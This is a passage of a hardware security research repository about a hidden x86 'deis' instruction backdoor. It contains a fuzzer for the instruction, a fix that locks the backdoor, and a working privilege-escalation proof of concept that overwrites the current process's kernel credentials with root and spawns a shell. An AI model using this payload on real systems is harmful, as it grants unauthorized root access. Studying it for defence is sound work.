41 | __asm__ ("bound %eax,0xe0108dfd(,%eax,1)");
42 |
43 | /* launch a shell */
44 | system("/bin/bash");
45 |
46 | return 0;
47 | }
48 |
--------------------------------------------------------------------------------
/esc/escalate.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | int main(void)
5 | {
6 | __asm__ ("movl $payload, %eax");
7 | __asm__ (".byte 0x0f, 0x3f");
8 | __asm__ ("payload:");
9 | #include "bin/payload.h"
10 |
11 | system("/bin/bash");
12 |
13 | return 0;
14 | }
15 |
--------------------------------------------------------------------------------
/esc/payload.asm:
--------------------------------------------------------------------------------
1 | #
2 | # project:rosenbridge
3 | # domas // @xoreaxeaxeax
4 | #
5 |
6 | # a proof-of-concept hardware privilege escalation payload.
7 |
8 | # uses the deis-backdoor to reach into kernel memory and give the current
9 | # process root permissions.
10 |
11 | # written in deis-asm.
12 |
13 | # assemble with:
14 | # python ../asm/deis_asm.py payload.asm > payload.h
15 |
16 | # to assemble and build the payload into a functioning executable, run make.
17 |
18 | # this payload was written as a proof-of-concept against debian 6.0.10 (i386) -
19 | # the constants used would need to be updated to support other kernels.
20 |
21 | # gdt_base = get_gdt_base();
22 | lgd eax
23 |
24 | # descriptor = *(uint64_t*)(gdt_base+KERNEL_SEG);
25 | izx 0x78, edx
26 | ada edx
27 |
28 | # fs_base=((descriptor&0xff00000000000000ULL)>>32)|
29 | # ((descriptor&0x000000ff00000000ULL)>>16)|
30 | # ((descriptor&0x00000000ffff0000ULL)>>16);
31 | ad2 eax
32 | ld4 eax, edx
33 | ad2 eax
34 | ld4 eax, ebx
35 | zl3 ebx
36 | mov edx, eax
37 | la8
38 | ra8
39 | or ebx, eax
40 |
41 | # task_struct = *(uint32_t*)(fs_base+OFFSET_TASK_STRUCT);
42 | izx 0x5f20, ecx
43 | izx 0xc133, edx
44 | cmb ecx, edx
45 | ada edx
46 | ld4 eax, eax
47 |
48 | # cred = *(uint32_t*)(task_struct+OFFSET_CRED);
49 | izx 0x208, edx
50 | ada edx
51 | ld4 eax, eax
52 |
53 | # root = 0
54 | izx 0, edx
55 |
56 | # *(uint32_t*)(cred+OFFSET_CRED_VAL_UID) = root;
57 | izx 0x4, ecx
58 | ada ecx
59 | st4 edx, eax
60 |
61 | # *(uint32_t*)(cred+OFFSET_CRED_VAL_GID) = root;
62 | ada ecx
63 | st4 edx, eax
64 |
65 | # *(uint32_t*)(cred+OFFSET_CRED_VAL_EUID) = root;
66 | ada ecx
67 | ada ecx
68 | st4 edx, eax
69 |
70 | # *(uint32_t*)(cred+OFFSET_CRED_VAL_EGID) = root;
71 | ada ecx
72 | st4 edx, eax
73 |
--------------------------------------------------------------------------------
/fix/Makefile:
--------------------------------------------------------------------------------
1 | # on make install, install lock_dies and lock_dies.sh
2 |
3 | all:
4 | make -C ../lock/
5 |
6 | install:
7 | cp ../lock/bin/lock /usr/local/bin/lock_deis
8 | cp lock_deis.sh /etc/init.d/
9 | update-rc.d /etc/init.d/lock_deis.sh defaults
10 |
--------------------------------------------------------------------------------
/fix/lock_deis.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | modprobe msr
4 | /usr/bin/lock_deis
5 |
--------------------------------------------------------------------------------
/fuzz/deis/Makefile:
--------------------------------------------------------------------------------
1 | all: bin/fuzz_deis
2 |
3 | bin/fuzz_deis: fuzz_deis.c
4 | mkdir -p bin
5 | gcc -m32 fuzz_deis.c -o bin/fuzz_deis
6 |
7 | clean:
8 | rm -f bin/*
9 |
--------------------------------------------------------------------------------
/fuzz/deis/fuzz_deis.c:
--------------------------------------------------------------------------------
1 | /* this program fuzzes deis instructions given a known wrapper */
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 | #include
22 | #include
23 | #include
24 |
25 | #define SIMULATE 0
26 |
27 | #define TRACK_RING_0 1
28 |
29 | //TODO: these are hacky (sorry)
30 | #define USE_SEARCH_KERNEL 1
31 | #define TARGET_KERNEL 1
32 |
33 | #if TRACK_RING_0
34 | #include "../../kern/privregs/privregs.h"
35 | #define CR0_IGNORE_BITS 0x00000008
36 | #endif
37 |
38 | #if USE_SEARCH_KERNEL
39 | #include "../../kern/deis_kernel.h"
40 | #endif
41 |
42 | typedef enum {
43 | INSTRUCTION_MODE_RANDOM,
44 | INSTRUCTION_MODE_SEED
45 | } instruction_mode_t;
46 | //instruction_mode_t MODE=INSTRUCTION_MODE_RANDOM;
47 | instruction_mode_t MODE=INSTRUCTION_MODE_SEED;
48 |
49 | #define MAX_SEED_INS 1000000
50 | #include "seed_ins.h" /* selected from pattern extractor */
51 | uint32_t seed_ins[MAX_SEED_INS];
52 | int generated_seeded_ins;
53 | #define SEEDS_PER_INSN 64
54 | #define SEED_BITS 32
55 | #define SEED_MASK 0x0fffffff /* don't flip masked bits */
56 |
57 | #define LINE_BREAK "------------------------------------------------\n"
58 | #define BUFFER_BYTES 32 /* must be > the number of fields in state_t + 7 */
59 |
60 | #define BE(x) ((((x)>>24)&0x000000ff)|(((x)>>8)&0x0000ff00)|(((x)<<8)&0x00ff0000)|(((x)<<24)&0xff000000))
61 |
62 | #define KEY_MARKER ". " /* prefix on lines that the log parser should keep */
63 |
64 | #define RUN_TIMEOUT 1000000 /* useconds */
65 | #define RESULT_TIMEOUT 50 /* runs */
66 |
67 | /* delaying between each test gives time for the kernel logs to sync; fuzzing
68 | * bottleneck is in the reboots, not in this program, we can sleep as long as we
69 | * want with virtually no impact on throughput */
70 | #define FUZZ_DELAY 500000 /* useconds, < RUN_TIMEOUT */
71 |
72 | typedef struct instruction_t {
73 | unsigned char prefix[3];
74 | unsigned int deis;
75 | } __attribute__ ((__packed__)) instruction_t;
76 |
77 | typedef struct {
78 | uint32_t eax;
79 | uint32_t ebx;
80 | uint32_t ecx;
81 | uint32_t edx;
82 | uint32_t esi;
83 | uint32_t edi;
84 | uint32_t ebp;
85 | uint32_t esp;
86 | union {
87 | uint64_t mm0;
88 | struct {
89 | uint32_t mm0l;
90 | uint32_t mm0h;
91 | } __attribute__ ((__packed__));
92 | };
93 | union {
94 | uint64_t mm1;
95 | struct {
96 | uint32_t mm1l;
97 | uint32_t mm1h;
98 | } __attribute__ ((__packed__));
99 | };
100 | union {
101 | uint64_t mm2;
102 | struct {
103 | uint32_t mm2l;
104 | uint32_t mm2h;
105 | } __attribute__ ((__packed__));
106 | };
107 | union {
108 | uint64_t mm3;
109 | struct {
110 | uint32_t mm3l;
111 | uint32_t mm3h;
112 | } __attribute__ ((__packed__));
113 | };
114 | union {
115 | uint64_t mm4;
116 | struct {
117 | uint32_t mm4l;
118 | uint32_t mm4h;
119 | } __attribute__ ((__packed__));
120 | };
121 | union {
122 | uint64_t mm5;
123 | struct {
124 | uint32_t mm5l;
125 | uint32_t mm5h;
126 | } __attribute__ ((__packed__));
127 | };
128 | union {
129 | uint64_t mm6;
130 | struct {
131 | uint32_t mm6l;
132 | uint32_t mm6h;
133 | } __attribute__ ((__packed__));
134 | };
135 | union {
136 | uint64_t mm7;
137 | struct {
138 | uint32_t mm7l;
139 | uint32_t mm7h;
140 | } __attribute__ ((__packed__));
141 | };
142 | uint32_t eflags;
143 | #if TRACK_RING_0
144 | uint32_t cr0;
145 | uint32_t cr2;
146 | uint32_t cr3;
147 | uint32_t cr4;
148 | uint32_t dr0;
149 | uint32_t dr1;
150 | uint32_t dr2;
151 | uint32_t dr3;
152 | uint32_t dr4;
153 | uint32_t dr5;
154 | uint32_t dr6;
155 | uint32_t dr7;
156 | #endif
157 | } state_t;
158 |
159 | typedef struct {
160 | uint8_t data[BUFFER_BYTES];
161 | } mem_t;
162 |
163 | typedef enum {
164 | MEMORY_NOCHANGE,
165 | MEMORY_RANDOM,
166 | MEMORY_PATTERN,
167 | MEMORY_KERNEL,
168 | } mem_init_t;
169 |
170 | typedef enum {
171 | STATE_NOCHANGE,
172 | STATE_RANDOM,
173 | STATE_MEMORY,
174 | STATE_PATTERN,
175 | STATE_KERNEL,
176 | } state_init_t;
177 |
178 | typedef enum {
179 | #if USE_SEARCH_KERNEL
180 | SEARCH_KERNEL,
181 | #endif
182 | #if TARGET_KERNEL
183 | SEARCH_END,
184 | #endif
185 | SEARCH_MEMORY,
186 | SEARCH_STATE,
187 | #if !TARGET_KERNEL
188 | SEARCH_END,
189 | #endif
190 | } search_t;
191 |
192 | typedef enum {
193 | RUN_0,
194 | #if TARGET_KERNEL
195 | RUN_END,
196 | #endif
197 | RUN_1,
198 | RUN_2,
199 | RUN_3,
200 | #if !TARGET_KERNEL
201 | RUN_END,
202 | #endif
203 | } run_t;
204 |
205 | /* some issues with asm constraints if these are local */
206 | state_t input_state, working_state, output_state;
207 | mem_t input_mem, output_mem;
208 |
209 | uint64_t* run_tick; /* shared */
210 | uint64_t* result_tick; /* shared */
211 |
212 | int main(void);
213 | unsigned long long llrand(void);
214 | void initialize_state(state_t*, state_init_t, mem_t*, mem_init_t);
215 | bool states_equal(state_t*, state_t*);
216 | bool memory_equal(mem_t*, mem_t*);
217 | void print_instruction(instruction_t*);
218 | void fuzz(void);
219 | void inject(void) __attribute__ ((section (".check,\"awx\",@progbits#")));
220 |
221 | void initialize_state(
222 | state_t* state,
223 | state_init_t state_init,
224 | mem_t* mem,
225 | mem_init_t mem_init
226 | )
227 | {
228 | int i;
229 |
230 | #if USE_SEARCH_KERNEL
231 | uintptr_t kernel_buffer;
232 | int handle;
233 | #endif
234 |
235 | switch (state_init) {
236 | case STATE_NOCHANGE:
237 | break;
238 | case STATE_RANDOM:
239 | state->eax=llrand();
240 | state->ebx=llrand();
241 | state->ecx=llrand();
242 | state->edx=llrand();
243 | state->esi=llrand();
244 | state->edi=llrand();
245 | state->ebp=llrand();
246 | state->esp=llrand();
247 | state->mm0=llrand();
248 | state->mm1=llrand();
249 | state->mm2=llrand();
250 | state->mm3=llrand();
251 | state->mm4=llrand();
252 | state->mm5=llrand();
253 | state->mm6=llrand();
254 | state->mm7=llrand();
255 | break;
256 | case STATE_MEMORY:
257 | state->eax=(uintptr_t)&mem->data[0];
258 | state->ebx=(uintptr_t)&mem->data[1];
259 | state->ecx=(uintptr_t)&mem->data[2];
260 | state->edx=(uintptr_t)&mem->data[3];
261 | state->esi=(uintptr_t)&mem->data[4];
262 | state->edi=(uintptr_t)&mem->data[5];
263 | state->ebp=(uintptr_t)&mem->data[6];
264 | state->esp=(uintptr_t)&mem->data[7];
265 | state->mm0=(uintptr_t)&mem->data[8];
266 | state->mm1=(uintptr_t)&mem->data[9];
267 | state->mm2=(uintptr_t)&mem->data[10];
268 | state->mm3=(uintptr_t)&mem->data[11];
269 | state->mm4=(uintptr_t)&mem->data[12];
270 | state->mm5=(uintptr_t)&mem->data[13];
271 | state->mm6=(uintptr_t)&mem->data[14];
272 | state->mm7=(uintptr_t)&mem->data[15];
273 | break;
274 | #if USE_SEARCH_KERNEL
275 | case STATE_KERNEL:
276 | handle=open("/dev/deis_kernel", O_RDWR);
277 | ioctl(handle, GET_BUFFER_ADDRESS, &kernel_buffer);
278 | //TODO: temp - initialize to 0
279 | /*
280 | state->eax=kernel_buffer+0;
281 | state->ebx=kernel_buffer+1;
282 | state->ecx=kernel_buffer+2;
283 | state->edx=kernel_buffer+3;
284 | state->esi=kernel_buffer+4;
285 | state->edi=kernel_buffer+5;
286 | state->ebp=kernel_buffer+6;
287 | state->esp=kernel_buffer+7;
288 | state->mm0=kernel_buffer+8;
289 | state->mm1=kernel_buffer+9;
290 | state->mm2=kernel_buffer+10;
291 | state->mm3=kernel_buffer+11;
292 | state->mm4=kernel_buffer+12;
293 | state->mm5=kernel_buffer+13;
294 | state->mm6=kernel_buffer+14;
295 | state->mm7=kernel_buffer+15;
296 | */
297 | state->eax=0;
298 | state->ebx=0;
299 | state->ecx=0;
300 | state->edx=0;
301 | state->esi=0;
302 | state->edi=0;
303 | state->ebp=0;
304 | state->esp=0;
305 | state->mm0=0;
306 | state->mm1=0;
307 | state->mm2=0;
308 | state->mm3=0;
309 | state->mm4=0;
310 | state->mm5=0;
311 | state->mm6=0;
312 | state->mm7=0;
313 | close(handle);
314 | break;
315 | #endif
316 | case STATE_PATTERN:
317 | state->eax=0x00000000;
318 | state->ebx=0x11111111;
319 | state->ecx=0x22222222;
320 | state->edx=0x33333333;
321 | state->esi=0x44444444;
322 | state->edi=0x55555555;
323 | state->ebp=0x66666666;
324 | state->esp=0x77777777;
325 |
326 | state->mm0=0x8888888888888888ull;
327 | state->mm1=0x9999999999999999ull;
328 | state->mm2=0xaaaaaaaaaaaaaaaaull;
329 | state->mm3=0xbbbbbbbbbbbbbbbbull;
330 | state->mm4=0xccccccccccccccccull;
331 | state->mm5=0xddddddddddddddddull;
332 | state->mm6=0xeeeeeeeeeeeeeeeeull;
333 | state->mm7=0xffffffffffffffffull;
334 | break;
335 | default:
336 | assert(0);
337 | }
338 |
339 | switch (mem_init) {
340 | case MEMORY_NOCHANGE:
341 | break;
342 | case MEMORY_PATTERN:
343 | for (i=0; idata[i]=0x11*(i%16);
345 | }
346 | break;
347 | case MEMORY_RANDOM:
348 | for (i=0; idata[i]=rand();
350 | }
351 | break;
352 | #if USE_SEARCH_KERNEL
353 | case MEMORY_KERNEL:
354 | /* nothing to initialize */
355 | break;
356 | #endif
357 | default:
358 | assert(0);
359 | }
360 | }
361 |
362 | #if TRACK_RING_0
363 | void load_ring_0_state(state_t* state)
364 | {
365 | int handle;
366 | privregs_req_t req;
367 |
368 | handle=open("/dev/privregs", O_RDWR);
369 |
370 | req=(privregs_req_t){0, 0};
371 | ioctl(handle, READ_DR, &req);
372 | state->dr0=req.val;
373 |
374 | req=(privregs_req_t){1, 0};
375 | ioctl(handle, READ_DR, &req);
376 | state->dr1=req.val;
377 |
378 | req=(privregs_req_t){2, 0};
379 | ioctl(handle, READ_DR, &req);
380 | state->dr2=req.val;
381 |
382 | req=(privregs_req_t){3, 0};
383 | ioctl(handle, READ_DR, &req);
384 | state->dr3=req.val;
385 |
386 | req=(privregs_req_t){4, 0};
387 | ioctl(handle, READ_DR, &req);
388 | state->dr4=req.val;
389 |
390 | req=(privregs_req_t){5, 0};
391 | ioctl(handle, READ_DR, &req);
392 | state->dr5=req.val;
393 |
394 | req=(privregs_req_t){6, 0};
395 | ioctl(handle, READ_DR, &req);
396 | state->dr6=req.val;
397 |
398 | req=(privregs_req_t){7, 0};
399 | ioctl(handle, READ_DR, &req);
400 | state->dr7=req.val;
401 |
402 | req=(privregs_req_t){0, 0};
403 | ioctl(handle, READ_CR, &req);
404 | state->cr0=req.val;
405 |
406 | req=(privregs_req_t){2, 0};
407 | ioctl(handle, READ_CR, &req);
408 | state->cr2=req.val;
409 |
410 | req=(privregs_req_t){3, 0};
411 | ioctl(handle, READ_CR, &req);
412 | state->cr3=req.val;
413 |
414 | req=(privregs_req_t){4, 0};
415 | ioctl(handle, READ_CR, &req);
416 | state->cr4=req.val;
417 |
418 | close(handle);
419 | }
420 | #endif
421 |
422 | unsigned long long llrand(void)
423 | {
424 | int i;
425 | unsigned long long r=0;
426 | for (i=0; i<5; ++i) {
427 | r = (r<<15)|(rand()&0x7FFF);
428 | }
429 | return r&0xFFFFFFFFFFFFFFFFULL;
430 | }
431 |
432 | void print_binary(uint32_t x)
433 | {
434 | int i;
435 | for (i=0; i<32; i++) {
436 | if (i && i%4==0) {
437 | printf(" ");
438 | }
439 | printf("%d", x>>31);
440 | x<<=1;
441 | }
442 | }
443 |
444 | void print_instruction(instruction_t* ins)
445 | {
446 | printf("L(%08x)", ins->deis);
447 |
448 | printf(" ");
449 | printf("B(%08x)", BE(ins->deis));
450 |
451 | printf(" ");
452 | printf("L(");
453 | print_binary(ins->deis);
454 | printf(")");
455 | printf(" ");
456 | printf("B(");
457 | print_binary(BE(ins->deis));
458 | printf(")");
459 | printf("\n");
460 | fflush(stdout);
461 | }
462 |
463 | void print_gpr_state_headers(void)
464 | {
465 | printf("%-8s %-8s %-8s %-8s %-8s %-8s %-8s %-8s\n",
466 | "eax", "ebx", "ecx", "edx", "esi", "edi", "ebp", "esp");
467 | }
468 |
469 | void print_mmx_0_3_state_headers(void)
470 | {
471 | printf("%-18s %-18s %-18s %-18s\n",
472 | "mm0", "mm1", "mm2", "mm3");
473 | }
474 |
475 | void print_mmx_4_7_state_headers(void)
476 | {
477 | printf("%-18s %-18s %-18s %-18s\n",
478 | "mm4", "mm5", "mm6", "mm7");
479 | }
480 |
481 | void print_gpr_state(state_t* state)
482 | {
483 | printf("%08x ", state->eax);
484 | printf("%08x ", state->ebx);
485 | printf("%08x ", state->ecx);
486 | printf("%08x ", state->edx);
487 | printf("%08x ", state->esi);
488 | printf("%08x ", state->edi);
489 | printf("%08x ", state->ebp);
490 | printf("%08x ", state->esp);
491 | printf("\n");
492 | }
493 |
494 | void print_byte_diff(uint8_t* x, uint8_t* y, int len, char* spacing_1, char* spacing_4)
495 | {
496 | int i;
497 | for (i=0; ieax, (uint8_t*)&state_2->eax, 4, "", " ");
517 | print_byte_diff((uint8_t*)&state_1->ebx, (uint8_t*)&state_2->ebx, 4, "", " ");
518 | print_byte_diff((uint8_t*)&state_1->ecx, (uint8_t*)&state_2->ecx, 4, "", " ");
519 | print_byte_diff((uint8_t*)&state_1->edx, (uint8_t*)&state_2->edx, 4, "", " ");
520 | print_byte_diff((uint8_t*)&state_1->esi, (uint8_t*)&state_2->esi, 4, "", " ");
521 | print_byte_diff((uint8_t*)&state_1->edi, (uint8_t*)&state_2->edi, 4, "", " ");
522 | print_byte_diff((uint8_t*)&state_1->ebp, (uint8_t*)&state_2->ebp, 4, "", " ");
523 | print_byte_diff((uint8_t*)&state_1->esp, (uint8_t*)&state_2->esp, 4, "", " ");
524 | printf("\n");
525 | }
526 |
527 | void print_mmx_0_3_state_diff(state_t* state_1, state_t* state_2)
528 | {
529 | print_byte_diff((uint8_t*)&state_1->mm0, (uint8_t*)&state_2->mm0, 8, "", " ");
530 | print_byte_diff((uint8_t*)&state_1->mm1, (uint8_t*)&state_2->mm1, 8, "", " ");
531 | print_byte_diff((uint8_t*)&state_1->mm2, (uint8_t*)&state_2->mm2, 8, "", " ");
532 | print_byte_diff((uint8_t*)&state_1->mm3, (uint8_t*)&state_2->mm3, 8, "", " ");
533 | printf("\n");
534 | }
535 |
536 | void print_mmx_4_7_state_diff(state_t* state_1, state_t* state_2)
537 | {
538 | print_byte_diff((uint8_t*)&state_1->mm4, (uint8_t*)&state_2->mm4, 8, "", " ");
539 | print_byte_diff((uint8_t*)&state_1->mm5, (uint8_t*)&state_2->mm5, 8, "", " ");
540 | print_byte_diff((uint8_t*)&state_1->mm6, (uint8_t*)&state_2->mm6, 8, "", " ");
541 | print_byte_diff((uint8_t*)&state_1->mm7, (uint8_t*)&state_2->mm7, 8, "", " ");
542 | printf("\n");
543 | }
544 |
545 | void print_mmx_0_3_state(state_t* state)
546 | {
547 | printf("%08x %08x ", state->mm0h, state->mm0l);
548 | printf("%08x %08x ", state->mm1h, state->mm1l);
549 | printf("%08x %08x ", state->mm2h, state->mm2l);
550 | printf("%08x %08x ", state->mm3h, state->mm3l);
551 | printf("\n");
552 | }
553 |
554 | void print_mmx_4_7_state(state_t* state)
555 | {
556 | printf("%08x %08x ", state->mm4h, state->mm4l);
557 | printf("%08x %08x ", state->mm5h, state->mm5l);
558 | printf("%08x %08x ", state->mm6h, state->mm6l);
559 | printf("%08x %08x ", state->mm7h, state->mm7l);
560 | printf("\n");
561 | }
562 |
563 | void print_memory_headers(void)
564 | {
565 | int i;
566 | for (i=0; i0 && i%4==0) {
568 | printf(" ");
569 | }
570 | if (i%4==0) {
571 | printf("%02x ", i);
572 | }
573 | else {
574 | printf(" ");
575 | }
576 | }
577 | printf("\n");
578 | }
579 |
580 | void print_memory(mem_t* mem)
581 | {
582 | int i;
583 | for (i=0; i0 && i%4==0) {
585 | printf(" ");
586 | }
587 | printf("%02x ", mem->data[i]);
588 | }
589 | printf("\n");
590 | }
591 |
592 | void print_memory_diff_summary(mem_t* mem_1, mem_t* mem_2)
593 | {
594 | int i;
595 | for (i=0; i0 && i%4==0) {
597 | printf(" ");
598 | }
599 | if (mem_1->data[i]!=mem_2->data[i]) {
600 | printf("^^ ");
601 | }
602 | else {
603 | printf(" ");
604 | }
605 | }
606 | printf("\n");
607 | }
608 |
609 | bool states_equal(state_t* state_1, state_t* state_2)
610 | {
611 | return
612 | state_1->eax==state_2->eax &&
613 | state_1->ebx==state_2->ebx &&
614 | state_1->ecx==state_2->ecx &&
615 | state_1->edx==state_2->edx &&
616 | state_1->esi==state_2->esi &&
617 | state_1->edi==state_2->edi &&
618 | state_1->ebp==state_2->ebp &&
619 | state_1->esp==state_2->esp &&
620 | state_1->mm0==state_2->mm0 &&
621 | state_1->mm1==state_2->mm1 &&
622 | state_1->mm2==state_2->mm2 &&
623 | state_1->mm3==state_2->mm3 &&
624 | state_1->mm4==state_2->mm4 &&
625 | state_1->mm5==state_2->mm5 &&
626 | state_1->mm6==state_2->mm6 &&
627 | state_1->mm7==state_2->mm7
628 | #if TRACK_RING_0
629 | &&
630 | (state_1->cr0&~CR0_IGNORE_BITS)==(state_2->cr0&~CR0_IGNORE_BITS) &&
631 | state_1->cr2==state_2->cr2 &&
632 | state_1->cr3==state_2->cr3 &&
633 | state_1->cr4==state_2->cr4 &&
634 | state_1->dr0==state_2->dr0 &&
635 | state_1->dr1==state_2->dr1 &&
636 | state_1->dr2==state_2->dr2 &&
637 | state_1->dr3==state_2->dr3 &&
638 | state_1->dr4==state_2->dr4 &&
639 | state_1->dr5==state_2->dr5 &&
640 | state_1->dr6==state_2->dr6 &&
641 | state_1->dr7==state_2->dr7
642 | #endif
643 | ;
644 | }
645 |
646 | bool memory_equal(mem_t* mem_1, mem_t* mem_2)
647 | {
648 | return (memcmp(mem_1,mem_2,sizeof(mem_t))==0);
649 | }
650 |
651 | void inject(void)
652 | {
653 | #if USE_SEARCH_KERNEL
654 | int handle;
655 | handle=open("/dev/deis_kernel", O_RDWR);
656 | ioctl(handle, READ_BUFFER, &input_mem.data);
657 | close(handle);
658 | #endif
659 |
660 | #if TRACK_RING_0
661 | load_ring_0_state(&input_state);
662 | #endif
663 |
664 | __asm__ __volatile__ ("\
665 | pushfl \n\
666 | popl %[input_eflags] \n\
667 | "
668 | : [input_eflags]"=m"(input_state.eflags)
669 | :
670 | );
671 |
672 | __asm__ __volatile__ ("\
673 | movl %%eax, %[working_eax] \n\
674 | movl %%ebx, %[working_ebx] \n\
675 | movl %%ecx, %[working_ecx] \n\
676 | movl %%edx, %[working_edx] \n\
677 | movl %%esi, %[working_esi] \n\
678 | movl %%edi, %[working_edi] \n\
679 | movl %%ebp, %[working_ebp] \n\
680 | movl %%esp, %[working_esp] \n\
681 | "
682 | : /* set to input registers to work around gcc error */
683 | /*
684 | [working_eax]"+m"(working_state.eax),
685 | [working_ebx]"+m"(working_state.ebx),
686 | [working_ecx]"+m"(working_state.ecx),
687 | [working_edx]"+m"(working_state.edx),
688 | [working_esi]"+m"(working_state.esi),
689 | [working_edi]"+m"(working_state.edi),
690 | [working_ebp]"+m"(working_state.ebp),
691 | [working_esp]"+m"(working_state.esp)
692 | */
693 | : [working_eax]"m"(working_state.eax),
694 | [working_ebx]"m"(working_state.ebx),
695 | [working_ecx]"m"(working_state.ecx),
696 | [working_edx]"m"(working_state.edx),
697 | [working_esi]"m"(working_state.esi),
698 | [working_edi]"m"(working_state.edi),
699 | [working_ebp]"m"(working_state.ebp),
700 | [working_esp]"m"(working_state.esp)
701 | );
702 |
703 | __asm__ __volatile__ ("\
704 | movq %%mm0, %[working_mm0] \n\
705 | movq %%mm1, %[working_mm1] \n\
706 | movq %%mm2, %[working_mm2] \n\
707 | movq %%mm3, %[working_mm3] \n\
708 | movq %%mm4, %[working_mm4] \n\
709 | movq %%mm5, %[working_mm5] \n\
710 | movq %%mm6, %[working_mm6] \n\
711 | movq %%mm7, %[working_mm7] \n\
712 | "
713 | : /* set to input registers to work around gcc error */
714 | : [working_mm0]"m"(working_state.mm0),
715 | [working_mm1]"m"(working_state.mm1),
716 | [working_mm2]"m"(working_state.mm2),
717 | [working_mm3]"m"(working_state.mm3),
718 | [working_mm4]"m"(working_state.mm4),
719 | [working_mm5]"m"(working_state.mm5),
720 | [working_mm6]"m"(working_state.mm6),
721 | [working_mm7]"m"(working_state.mm7)
722 | );
723 |
724 | __asm__ __volatile__ ("\
725 | movq %[input_mm0], %%mm0 \n\
726 | movq %[input_mm1], %%mm1 \n\
727 | movq %[input_mm2], %%mm2 \n\
728 | movq %[input_mm3], %%mm3 \n\
729 | movq %[input_mm4], %%mm4 \n\
730 | movq %[input_mm5], %%mm5 \n\
731 | movq %[input_mm6], %%mm6 \n\
732 | movq %[input_mm7], %%mm7 \n\
733 | "
734 | :
735 | : [input_mm0]"m"(input_state.mm0),
736 | [input_mm1]"m"(input_state.mm1),
737 | [input_mm2]"m"(input_state.mm2),
738 | [input_mm3]"m"(input_state.mm3),
739 | [input_mm4]"m"(input_state.mm4),
740 | [input_mm5]"m"(input_state.mm5),
741 | [input_mm6]"m"(input_state.mm6),
742 | [input_mm7]"m"(input_state.mm7)
743 | );
744 |
745 | __asm__ __volatile__ ("\
746 | movl %[input_eax], %%eax \n\
747 | movl %[input_ebx], %%ebx \n\
748 | movl %[input_ecx], %%ecx \n\
749 | movl %[input_edx], %%edx \n\
750 | movl %[input_esi], %%esi \n\
751 | movl %[input_edi], %%edi \n\
752 | movl %[input_ebp], %%ebp \n\
753 | movl %[input_esp], %%esp \n\
754 | debug: \n\
755 | "
756 | #if !SIMULATE
757 | "\
758 | .byte 0x0f, 0x3f \n\
759 | "
760 | #else
761 | "\
762 | movl $0xdeadbeef, (%%edx) \n\
763 | movw $0x1337, %%cx \n\
764 | movq (_bridge), %%mm0 \n\
765 | "
766 | #endif
767 | "\
768 | _bridge: \n\
769 | .space 0x1000, 0x90 \n\
770 | \n\
771 | movl %%eax, %[output_eax] \n\
772 | movl %%ebx, %[output_ebx] \n\
773 | movl %%ecx, %[output_ecx] \n\
774 | movl %%edx, %[output_edx] \n\
775 | movl %%esi, %[output_esi] \n\
776 | movl %%edi, %[output_edi] \n\
777 | movl %%ebp, %[output_ebp] \n\
778 | movl %%esp, %[output_esp] \n\
779 | \n\
780 | "
781 | : /* set as input registers to work around gcc error */
782 | /*
783 | [output_eax]"+m"(output_state.eax),
784 | [output_ebx]"+m"(output_state.ebx),
785 | [output_ecx]"+m"(output_state.ecx),
786 | [output_edx]"+m"(output_state.edx),
787 | [output_esi]"+m"(output_state.esi),
788 | [output_edi]"+m"(output_state.edi),
789 | [output_ebp]"+m"(output_state.ebp),
790 | [output_esp]"+m"(output_state.esp)
791 | */
792 | : [output_eax]"m"(output_state.eax),
793 | [output_ebx]"m"(output_state.ebx),
794 | [output_ecx]"m"(output_state.ecx),
795 | [output_edx]"m"(output_state.edx),
796 | [output_esi]"m"(output_state.esi),
797 | [output_edi]"m"(output_state.edi),
798 | [output_ebp]"m"(output_state.ebp),
799 | [output_esp]"m"(output_state.esp),
800 | [input_eax]"m"(input_state.eax),
801 | [input_ebx]"m"(input_state.ebx),
802 | [input_ecx]"m"(input_state.ecx),
803 | [input_edx]"m"(input_state.edx),
804 | [input_esi]"m"(input_state.esi),
805 | [input_edi]"m"(input_state.edi),
806 | [input_ebp]"m"(input_state.ebp),
807 | [input_esp]"m"(input_state.esp)
808 | );
809 |
810 | __asm__ __volatile__ ("\
811 | movq %%mm0, %[output_mm0] \n\
812 | movq %%mm1, %[output_mm1] \n\
813 | movq %%mm2, %[output_mm2] \n\
814 | movq %%mm3, %[output_mm3] \n\
815 | movq %%mm4, %[output_mm4] \n\
816 | movq %%mm5, %[output_mm5] \n\
817 | movq %%mm6, %[output_mm6] \n\
818 | movq %%mm7, %[output_mm7] \n\
819 | "
820 | : /* set to input registers to work around gcc error */
821 | : [output_mm0]"m"(output_state.mm0),
822 | [output_mm1]"m"(output_state.mm1),
823 | [output_mm2]"m"(output_state.mm2),
824 | [output_mm3]"m"(output_state.mm3),
825 | [output_mm4]"m"(output_state.mm4),
826 | [output_mm5]"m"(output_state.mm5),
827 | [output_mm6]"m"(output_state.mm6),
828 | [output_mm7]"m"(output_state.mm7)
829 | );
830 |
831 | __asm__ __volatile__ ("\
832 | movl %[working_eax], %%eax \n\
833 | movl %[working_ebx], %%ebx \n\
834 | movl %[working_ecx], %%ecx \n\
835 | movl %[working_edx], %%edx \n\
836 | movl %[working_esi], %%esi \n\
837 | movl %[working_edi], %%edi \n\
838 | movl %[working_ebp], %%ebp \n\
839 | movl %[working_esp], %%esp \n\
840 | "
841 | :
842 | : [working_eax]"m"(working_state.eax),
843 | [working_ebx]"m"(working_state.ebx),
844 | [working_ecx]"m"(working_state.ecx),
845 | [working_edx]"m"(working_state.edx),
846 | [working_esi]"m"(working_state.esi),
847 | [working_edi]"m"(working_state.edi),
848 | [working_ebp]"m"(working_state.ebp),
849 | [working_esp]"m"(working_state.esp)
850 | );
851 |
852 | __asm__ __volatile__ ("\
853 | movq %[working_mm0], %%mm0 \n\
854 | movq %[working_mm1], %%mm1 \n\
855 | movq %[working_mm2], %%mm2 \n\
856 | movq %[working_mm3], %%mm3 \n\
857 | movq %[working_mm4], %%mm4 \n\
858 | movq %[working_mm5], %%mm5 \n\
859 | movq %[working_mm6], %%mm6 \n\
860 | movq %[working_mm7], %%mm7 \n\
861 | "
862 | :
863 | : [working_mm0]"m"(working_state.mm0),
864 | [working_mm1]"m"(working_state.mm1),
865 | [working_mm2]"m"(working_state.mm2),
